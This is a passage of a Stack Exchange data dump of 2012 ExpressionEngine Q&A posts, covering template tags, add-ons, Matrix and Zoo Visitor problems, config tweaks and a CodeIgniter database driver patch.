  <row Id="1439" PostTypeId="2" ParentId="903" CreationDate="2012-12-11T16:41:25.433" Score="5" Body="&lt;p&gt;My first suggestion is to clear browser Cookies and Cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second step is to add the following into your config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['admin_session_type'] = &quot;s&quot;;&#xA;$config['user_session_type'] = &quot;c&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;; &#xA;$config['secure_forms'] = &quot;n&quot;;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-11T16:41:25.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1440" PostTypeId="2" ParentId="1312" CreationDate="2012-12-11T16:51:25.057" Score="1" Body="&lt;p&gt;While you can use Structure to manage blog entries, you don't have to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a number of blogs on Structure-enabled sites where the blog entries themselves are not managed through Structure, only the blog's main page is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blog's main page is managed as a page, and the blog entries are set as a listing under it.  Creating and editing blog entries is handled through EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to use categories and tags without Structure interfering, and without the need for other plug-ins.  Although those plug-ins are top-notch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, a number of ways to skin that cat with EE.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2012-12-11T16:51:25.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1441" PostTypeId="1" CreationDate="2012-12-11T17:00:23.113" Score="13" ViewCount="1073" Body="&lt;p&gt;I wonder how you guys do tables in ExpressionEngine? Sometimes there's a clear need for tables - semantically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix is not an option since it can only have a predefined amount of columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used markdown tables, but most of the time I don't need a header. The only usable thing I found was textile tables, but I want to get rid of textile and use markdown wherever I can. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &#xA;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastEditorUserId="28" LastEditDate="2012-12-12T04:39:35.963" LastActivityDate="2012-12-12T04:39:35.963" Title="How do you do HTML tables?" Tags="|.html|table|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1442" PostTypeId="2" ParentId="1433" CreationDate="2012-12-11T17:05:13.807" Score="4" Body="&lt;p&gt;I would check out &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;, you should be able to search by range on a custom field. &lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;Solspace's Super Search&lt;/a&gt; is another option, but it's a bit pricier.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2012-12-11T17:05:13.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1443" PostTypeId="2" ParentId="1430" CreationDate="2012-12-11T17:06:06.503" Score="2" Body="&lt;p&gt;Okay,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I also submitted an urgent ticket with EllisLab and found the issue after Dan Decker inspected. It turns out it was a legacy 3rd party module causing the problem. NDG Flexible Admin was installed, however you can't upgrade this without access to the CP since the name has now changed to Zoo Flexible Admin. The key was to go into phpmyadmin and delete all tables with ndg in them. Once I did this I could access the CP again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have to re-create the menus I had before, but that shouldn't be too much trouble as I have a backup site I can look at. The key here is if you are upgrading an old site running ndg flexible admin, upgrade that addon before upgrading EE.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-11T17:06:06.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1444" PostTypeId="2" ParentId="1441" CreationDate="2012-12-11T17:08:06.270" Score="15" Body="&lt;p&gt;Email support[at]objectivehtml.com. I have a new add-on that I have been developing since Spring 2012 that does exactly this. Like everything I build, its focus is on a rock solid and configurable API. It's still not ready for a public release, but it's used on a number of our clients' sites (in production). I am happy to let you install it and give it a shot to see if fits your needs.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-11T17:08:06.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1445" PostTypeId="2" ParentId="1441" CreationDate="2012-12-11T17:09:27.137" Score="3" Body="&lt;p&gt;Are you talking about using tables as a fieldtype? There's no table fieldtype in EE, but you can use &lt;a href=&quot;http://pixelandtonic.com/wygwam&quot; rel=&quot;nofollow&quot;&gt;Wygwam&lt;/a&gt; and configure it to show the options for building a free-form table in the editor.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2012-12-11T17:20:21.427" LastActivityDate="2012-12-11T17:20:21.427" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1446" PostTypeId="2" ParentId="1441" CreationDate="2012-12-11T17:16:32.310" Score="16" Body="&lt;p&gt;&lt;a href=&quot;http://www.krea.com/content-elements&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Content Elements&lt;/strong&gt;&lt;/a&gt; contains an option for tables that lets the user create columns on the fly. Haven't tried it yet but it looks pretty awesome and seems to have &lt;a href=&quot;http://www.krea.com/docs/content-elements/table/&quot; rel=&quot;noreferrer&quot;&gt;useful template tags&lt;/a&gt; for the table element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dri4F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-12-11T21:00:05.860" LastActivityDate="2012-12-11T21:00:05.860" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1447" PostTypeId="2" ParentId="1411" CreationDate="2012-12-11T17:23:40.637" Score="4" Body="&lt;p&gt;I don't think there are any add-ons available currently modify the headers for caching. There is, however, &lt;a href=&quot;https://github.com/rsanchez/http_header&quot; rel=&quot;nofollow&quot;&gt;HTTP Header&lt;/a&gt;, by Rob Sanchez that you could use as a basis to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It wouldn't be very difficult to modify HTTP Header to include additional header options, or you could turn on PHP for your templates and place the code directly in the templates, but I'd suggest the plugin route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CodeIgniter output class has a built-in method for setting headers, which can be accessed from a plugin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;output-&amp;gt;set_header(&quot;Cache-Control: somevalue&quot;);&#xA;$this-&amp;gt;output-&amp;gt;set_header(&quot;Expires: somevalue&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-11T17:23:40.637" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1448" PostTypeId="2" ParentId="1425" CreationDate="2012-12-11T17:26:20.837" Score="7" Body="&lt;p&gt;Admin_content extends the CI_Controller class, which is not designed to be instantiated like models and libraries within the MVC paradigm. You can however reuse the libraries within that controller. Unfortunately, the best method here may be to copy and paste your code into your own add-on do what you need. Obviously only copying the bare minimum amount of code needed. And of course, if you can do it without copying, that's always best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You really have 3 options, none of which do entirely what you want. But this is at least something to get you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the Category Model &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('category_model');&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the Category API&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('api');&#xA;$this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_categories');&#xA;&#xA;$category_tree = $this-&amp;gt;EE-&amp;gt;api_channel_categories-&amp;gt;category_tree($cat_group = 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Channel Data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/Channel-Data&quot;&gt;https://github.com/objectivehtml/Channel-Data&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-11T17:26:20.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1449" PostTypeId="2" ParentId="1441" CreationDate="2012-12-11T17:26:29.583" Score="4" Body="&lt;p&gt;The Redactor.js has a nice table builder if you want a WYSIWYG field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can demo it here: &lt;a href=&quot;http://imperavi.com/redactor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://imperavi.com/redactor/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the Redactor field types should come with this feature:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.devdemon.com/editor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Editor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/redactee&quot; rel=&quot;nofollow noreferrer&quot;&gt;Redactee&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/reedactor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reedactor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qNXjG.png&quot; alt=&quot;Redactor.js Table Builder&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-12-11T17:31:36.873" LastActivityDate="2012-12-11T17:31:36.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1450" PostTypeId="2" ParentId="1434" CreationDate="2012-12-11T17:34:29.013" Score="9" Body="&lt;p&gt;In EE, all pages require unique URL Titles.  However, in Structure, if the pages have different parents, they can share the same Structure PAGE URI.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, so long as you are using the full Structure URIs to display the pages, you shouldn't have any issue reusing &quot;sub1&quot; and &quot;sub2&quot; in each category tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while EE will create unique URL titles for each entry, such as sub1, sub1-1, sub1-2, sub1-3, etc, it won't matter, because in your templates, you will use dynamic=&quot;no&quot;, and simply allow Structure to render the page based on the full Structure URI.  For example, your rules would look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/category1/sub1/page-title/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/category2/sub1/page-title/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/category3/sub1/page-title/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should work fine, and without Freebie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need clarification.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ira @ The Red Eye&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="229" LastEditorUserId="229" LastEditDate="2012-12-11T17:41:24.597" LastActivityDate="2012-12-11T17:41:24.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1451" PostTypeId="2" ParentId="1434" CreationDate="2012-12-11T18:42:29.160" Score="1" Body="&lt;p&gt;I had a need for this same usage. Here is what I ended up with that really helped in my situation. With mine, there were multiple markets which had similar software packages. They wanted to :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Distinguish the markets and keep them separate&lt;/li&gt;&#xA;&lt;li&gt;List the software by the same name in the URL (Which was the entry)&lt;/li&gt;&#xA;&lt;li&gt;Maintain a single entry for all changes to copy for marketing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I created a fieldtype that was a simple checkbox which was named, in this case 'Universal Product?' =&gt; 'prod_universal', which when selected, would trigger the embed of the common entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to rethink my main template and create a router of sorts. I had a section for the menu(nav), body, and footer. In the body, it would start like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- MAIN BODY --&amp;gt;&#xA;    {if prod_universal}&#xA;        &amp;lt;!-- Universal Product --&amp;gt;&#xA;        {embed=&quot;group/template&quot; universal_title=&quot;{title}&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This then embed the template needed for that entry. (Nothing major, just handled differently)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was then able to use the Structure navigation as normal like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav_sub start_from=&quot;/market&quot; css_class=&quot;subnav&quot; status=&quot;not No Nav&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when the regular (routing) template saw that the entry was universal, it was routed through the other template pulling the common entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the same URL issue, that is all handled by the URL building and routing operations done from within Structure. the normal EE URL's can be whatever1, whatever2, whatever3... Just click on the structure tab and name them the same. Now they will traverse the same in the nav bar and read the same in the navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2012-12-11T18:42:29.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1452" PostTypeId="1" CreationDate="2012-12-11T19:40:44.147" Score="3" ViewCount="368" Body="&lt;p&gt;I have recently upgraded EE to 2.5.3, and Pixel and Tonic’s Matrix to 2.5.1 and now my Matrix fields have stopped parsing. The raw tags with curly braces are being output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve been pulling my hair out trying to figure out what is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried contacting Pixel And Tonic on all the support channels I know of, and while it hasn't been that long, I &lt;em&gt;really&lt;/em&gt; need to get this fixed pronto. Anyone know what might be causing this and how I can fix it?&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2012-12-15T16:01:24.213" Title="Matrix Fields Not Parsing" Tags="|matrix|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1453" PostTypeId="2" ParentId="1409" CreationDate="2012-12-11T19:47:48.107" Score="3" Body="&lt;p&gt;Is the ExpiresByType an htaccess rule you've added via HTML5 Boilerplate or something similar? I'd just comment it out. If it's from EE or an addon, try overriding it via an htaccess file that is closer to the files in question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g., public_html/control_panel/.htaccess will be trump public_html/.htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files are cached by type so I don't think you can manually override a specific path.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2012-12-11T19:47:48.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1454" PostTypeId="2" ParentId="1452" CreationDate="2012-12-11T19:50:12.203" Score="2" Body="&lt;p&gt;Super basic, but did you remember to update all themes folders/etc? I have done this with sad results. Also I believe @onebrightlight had posted a Matrix/EE 2.5.3 prob recently - did you see if this is related?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2012-12-11T19:50:12.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1455" PostTypeId="2" ParentId="1368" CreationDate="2012-12-11T19:58:49.090" Score="2" Body="&lt;p&gt;It looks like the problem here is that &lt;code&gt;{exp:zoo_visitor:details}&lt;/code&gt; is actually a channel entry unto itself. I placed it inside of its own embed, and it worked like magic. The next step is going to be getting it out of this embed and into a Stash template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other problem that I had was simple user error. I forgot that &lt;code&gt;{school}&lt;/code&gt; was actually &lt;code&gt;{member_school}&lt;/code&gt;. Oy.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2012-12-11T19:58:49.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1456" PostTypeId="2" ParentId="1413" CreationDate="2012-12-11T20:00:16.587" Score="2" Body="&lt;p&gt;For future reference, I created a new set of DB drivers (&lt;code&gt;eemysqli&lt;/code&gt;) which are a renamed (filenames and class names) but otherwise exact copy of &lt;code&gt;codeigniter/system/database/drivers/mysqli/*&lt;/code&gt;. I then applied the following edit to &lt;code&gt;eemysqli_driver.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--- drivers/mysqli/mysqli_driver.php    2012-11-26 15:19:21.000000000 +0000&#xA;+++ drivers/eemysqli/tcmysqli_driver.php        2012-12-11 19:45:45.375905181 +0000&#xA;@@ -28,7 +37,7 @@&#xA;  * @author             ExpressionEngine Dev Team&#xA;  * @link               http://codeigniter.com/user_guide/database/&#xA;  */&#xA;-class CI_DB_mysqli_driver extends CI_DB {&#xA;+class CI_DB_eemysqli_driver extends CI_DB {&#xA;&#xA;        var $dbdriver = 'mysqli';&#xA;&#xA;@@ -278,6 +287,8 @@&#xA;     /**&#xA;      * Escape String&#xA;      *&#xA;+     * I (AD) have amended this function to fix a known bug which is fixed in CI3.&#xA;+     *&#xA;      * @access      public&#xA;      * @param       string&#xA;      * @param       bool    whether or not the string will be used in a LIKE condition&#xA;@@ -295,18 +306,7 @@&#xA;                        return $str;&#xA;                }&#xA;&#xA;-               if (function_exists('mysqli_real_escape_string') AND is_object($this-&amp;gt;conn_id))&#xA;-               {&#xA;-                       $str = mysqli_real_escape_string($this-&amp;gt;conn_id, $str);&#xA;-               }&#xA;-               elseif (function_exists('mysql_escape_string'))&#xA;-               {&#xA;-                       $str = mysql_escape_string($str);&#xA;-               }&#xA;-               else&#xA;-               {&#xA;-                       $str = addslashes($str);&#xA;-               }&#xA;+        $str = is_resource($this-&amp;gt;conn_id) ? mysql_real_escape_string($str, $this-&amp;gt;conn_id) : addslashes($str);&#xA;&#xA;                // escape LIKE condition wildcards&#xA;                if ($like === TRUE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a bit of a nonsense, but I can rest easy knowing I haven't hacked core EE/CI files.&lt;/p&gt;&#xA;" OwnerUserId="582" LastEditorUserId="150" LastEditDate="2012-12-11T21:56:35.413" LastActivityDate="2012-12-11T21:56:35.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1457" PostTypeId="2" ParentId="1452" CreationDate="2012-12-11T20:13:36.977" Score="3" Body="&lt;p&gt;I've responded to your support email.  Happy to help here or there - let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would help to see your template, as well as to ensure that you visited the Matrix fieldtype settings in Add-ons -&gt; Fieldtypes -&gt; Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa Wess&lt;br /&gt;&#xA;Pixel &amp;amp; Tonic&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2012-12-11T20:13:36.977" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1458" PostTypeId="1" AcceptedAnswerId="1461" CreationDate="2012-12-11T21:30:29.750" Score="4" ViewCount="250" Body="&lt;p&gt;I have a basic zoo visitor forgot password form and the email's aren't being sent out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:zoo_visitor:forgot_password error_handling=&quot;inline&quot;}&#xA;        {if password_sent}&#xA;            &amp;lt;h3&amp;gt;A password reset email has been sent to the provided email.&amp;lt;/h3&amp;gt;&#xA;        {if:else}&#xA;            &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;email&quot; class=&quot;form-label&quot;&amp;gt;Your email:&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; class=&quot;form-text&quot; value=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; value=&quot;Retrieve password&quot; class=&quot;button&quot; /&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            {error:email}&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        {/if}&#xA;    {/exp:zoo_visitor:forgot_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Emails are being sent from the member registration form so i've ruled out server issues. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2012-12-11T23:11:36.130" Title="Zoo Visitor not sending forgot password email" Tags="|zoo-visitor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1459" PostTypeId="2" ParentId="1458" CreationDate="2012-12-11T21:34:39.550" Score="0" Body="&lt;p&gt;Have you tried it without your conditional statement?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-12-11T21:34:39.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1460" PostTypeId="2" ParentId="1211" CreationDate="2012-12-11T22:10:51.283" Score="7" Body="&lt;p&gt;Going off Adrian’s comment, this is how I would approach it.  I haven’t used Expresso Store (yet) so I can’t give you the exact code.  But hopefully it will get you going in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would take your form and update it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;range:regular_price&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;/products&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;/products/price/-/99&quot;&amp;gt;$0.00 - $99.99&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;/products/price/100/200&quot;&amp;gt;$100.00 - $199.99&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;/products/price/200/399&quot;&amp;gt;$200.00 - $399.99&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;/products/price/400/800&quot;&amp;gt;$400.00 - $799.99&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;/products/price/800/10000&quot;&amp;gt;$800.00 and over&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You’ll need to add some javascript to the  part to make it update upon selection, such as (sorry, my JavaScript isn’t the best… - I can't figure out how to put that into SE, so &lt;a href=&quot;http://webdesign.about.com/od/javascript/f/blfaqddredirect.htm&quot;&gt;here is a link&lt;/a&gt;). Basically, every time the user changes the dropdown, redirect to the appropriate URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also just use standard &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; links to get the user to the correct URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I would have a template in the Products folder called “price” (or you could call it “filter” if you already have one). Pass the prices through to the search tag as segment variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot; search:price:min=&quot;{segment_3}&quot; search:price:max=&quot;{segment_4}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then proceed with the rest of the code to display the results.&lt;/p&gt;&#xA;" OwnerUserId="284" LastEditorUserId="150" LastEditDate="2012-12-11T22:21:13.327" LastActivityDate="2012-12-11T22:21:13.327" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1461" PostTypeId="2" ParentId="1458" CreationDate="2012-12-11T23:11:36.130" Score="3" Body="&lt;p&gt;It's possible that all the emails are getting blocked by the ISP spam. Emails sent with PHP are very unreliable in the long run, and why services like SendGrid and Mandrill are so useful. One recommendation would be to try to send your emails using a proper service. SendGrid and Mandrill both have free accounts, and you get like 12,000 emails a month (so it's free for most of our clients).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I helped Christopher track the issues down before, but I can't 100% remember what he concluded. Postmaster is always a viable option to sending forgot password forms with SendGrid or Mandrill, but it's possible to use SMTP and do it without Postmaster.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-11T23:11:36.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1462" PostTypeId="1" CreationDate="2012-12-11T23:28:40.433" Score="4" ViewCount="190" Body="&lt;p&gt;I’m having some issues with the fixed_order parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m running a query to order by a matrix col&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_includes/_ajax_results&quot; &#xA;    entry_ids=&quot;{exp:query sql=&quot;SELECT entry_id FROM exp_channel_titles &#xA;        INNER JOIN exp_matrix_data using(entry_id) &#xA;        WHERE channel_id ='4' &#xA;        AND field_id ='13'&#xA;        AND status ='open'&#xA;        ORDER BY col_id_21 DESC &quot;}{entry_id}|{/exp:query}&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I head to my embed template… and print {embed:entry_ids} I get my list of entry_ids in the correct order I need them&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;90|94|89|91|95|93|86|92|87|88|79| &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However as soon as I use this in a channel tag, it gets ignored and the order reverts to the default date order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA; channel=&quot;strand&quot; &#xA; dynamic=&quot;no&quot; &#xA; disable=&quot;member_data|pagination&quot; &#xA; cache=&quot;no&quot; &#xA; fixed_order=&quot;{embed:entry_ids}&quot;}&#xA;&#xA;   {strand-overview}&#xA;&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i hard code my entry_id embed into the param, the order works…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA; channel=&quot;strand&quot; &#xA; dynamic=&quot;no&quot; &#xA; disable=&quot;member_data|pagination&quot; &#xA; cache=&quot;no&quot; &#xA; fixed_order=&quot;90|94|89|91|95|93|86|92|87|88|79|&quot;}&#xA;   {strand-overview}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so for some reason my {embed:entry_ids} isn’t working… &#xA;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.3&lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2012-12-12T07:23:29.363" Title="issue with fixed_order and embed query" Tags="|embeds|query|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1463" PostTypeId="1" AcceptedAnswerId="1471" CreationDate="2012-12-11T23:33:16.553" Score="1" ViewCount="893" Body="&lt;p&gt;Simple as can be, my code, but I am getting all the entries, not just those in category 42.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;patient-services&quot;   &#xA;disable=&quot;member_data|pagination&quot; &#xA;dynamic=&quot;no&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; category=&quot;42&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path=patient-services}&quot;&amp;gt;&#xA;    {title}    &#xA;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; I stripped it down to this, but it's showing that every entry is in category 42, even though the CP shows otherwise. Maybe I hit a bug?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries id=&quot;18&quot; dynamic=&quot;no&quot; category=&quot;42&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path=patient-services}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;Category id&#xA;    is: {categories}{category_id}{/categories}&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2012-12-13T23:37:53.350" LastActivityDate="2012-12-13T23:37:53.350" Title="Simple channel entries call, limit by category, not working" Tags="|channel-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
